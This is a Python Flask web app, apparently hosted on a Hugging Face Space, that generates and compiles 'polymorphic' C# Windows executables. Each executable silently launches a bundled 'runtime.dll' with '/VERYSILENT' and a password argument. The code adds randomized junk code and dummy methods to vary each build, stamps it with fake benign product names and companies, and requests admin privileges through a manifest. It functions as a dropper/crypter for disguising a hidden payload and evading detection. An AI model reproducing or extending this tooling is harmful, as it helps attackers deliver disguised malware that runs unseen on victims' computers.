Spaces:
Sleeping
Sleeping
File size: 6,909 Bytes
45a1acf 0b709b9 45a1acf 0b709b9 66f8fc1 45a1acf 0b709b9 06b7dab 0b709b9 adbe5cd a88f75b 0b709b9 45a1acf 0b709b9 5d5f013 0b709b9 7320811 0b709b9 5d5f013 0b709b9 0d640b8 7320811 0d640b8 887b890 0b709b9 0d640b8 f33fecc 0d640b8 f33fecc 5d5f013 dcbff4e 1bd78a1 f33fecc dcbff4e f33fecc 0b709b9 0d640b8 0b709b9 8491b72 5d5f013 0b709b9 45a1acf 838901f |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 |
import os
import random
import string
import subprocess
from flask import Flask, render_template_string, send_file
app = Flask(__name__)
# Step 1: Define the base C# template without AssemblyCulture
base_cs_template = """
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
[assembly: AssemblyTitle("<<title>>")]
[assembly: AssemblyDescription("<<description>>")]
[assembly: AssemblyConfiguration("<<configuration>>")]
[assembly: AssemblyCompany("<<company>>")]
[assembly: AssemblyProduct("<<product>>")]
[assembly: AssemblyCopyright("<<copyright>>")]
[assembly: AssemblyTrademark("<<trademark>>")]
[assembly: AssemblyVersion("<<version>>")]
[assembly: AssemblyFileVersion("<<file_version>>")]
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
class Program
{
static void Main()
{
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
if (File.Exists(originalFilePath))
{
<<control_flow_junk>>
Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
<<additional_obfuscated_code>>
Environment.Exit(0); // Exit immediately
}
}
<<obfuscated_methods>>
}
"""
# Utility functions (unchanged)
def random_string(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
def random_version():
major = random.randint(1, 5)
minor = random.randint(0, 9)
build = random.randint(0, 99)
revision = random.randint(0, 99)
return f"{major}.{minor}.{build}.{revision}"
titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
def generate_control_flow_junk():
conditions = [
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
"if (false) { Console.WriteLine(\"This will never happen\"); }",
"while (false) { break; }"
]
return random.choice(conditions)
def generate_obfuscated_methods():
methods = [
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
]
return "\n ".join(random.sample(methods, k=2))
def generate_additional_obfuscated_code():
snippets = [
"#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
"string dummy = \"abc\";",
"Console.WriteLine(\"Executing...\");"
]
return random.choice(snippets)
@app.route('/')
def index():
html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Script Generator</title>
</head>
<body>
<h1>Generate and Compile C# Script</h1>
<form action="/generate" method="post">
<button type="submit">Generate & Compile</button>
</form>
</body>
</html>
"""
return render_template_string(html_content)
@app.route('/generate', methods=['POST'])
def generate_script():
# Generate the randomized assembly information using meaningful words
assembly_info = {
'title': random.choice(titles),
'description': random.choice(descriptions),
'configuration': '', # Can leave empty
'company': random.choice(companies),
'product': "MyProduct",
'copyright': f"Copyright © {random.choice(companies)} 2024",
'trademark': random.choice(trademarks),
'version': random_version(),
'file_version': random_version(),
'informational_version': random_version()
}
# Replace placeholders in the base template
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
.replace('<<description>>', assembly_info['description']) \
.replace('<<configuration>>', assembly_info['configuration']) \
.replace('<<company>>', assembly_info['company']) \
.replace('<<product>>', assembly_info['product']) \
.replace('<<copyright>>', assembly_info['copyright']) \
.replace('<<trademark>>', assembly_info['trademark']) \
.replace('<<version>>', assembly_info['version']) \
.replace('<<file_version>>', assembly_info['file_version']) \
.replace('<<informational_version>>', assembly_info['informational_version']) \
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
# Generate random file names
script_path = 'polymorphic_program.cs'
exe_name = random_string(10) + '.exe' # Generate a random executable name
# Save the modified C# script to a file
with open(script_path, 'w') as file:
file.write(modified_cs)
# Compile the C# script using mcs with the manifest for admin privileges
compile_command = [
'mcs', '-target:winexe', '-out:' + exe_name, script_path,
'-win32icon:app.ico', '-win32manifest:app.manifest'
]
# Run the compilation command
try:
subprocess.run(compile_command, check=True)
except subprocess.CalledProcessError as e:
return f"Compilation failed: {e}", 500
except FileNotFoundError:
return "Compiler 'mcs' not found. Make sure it is installed and in the PATH.", 500
# Provide a link to download the compiled executable
return send_file(exe_name, as_attachment=True)
# Start the Flask app
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=True)
|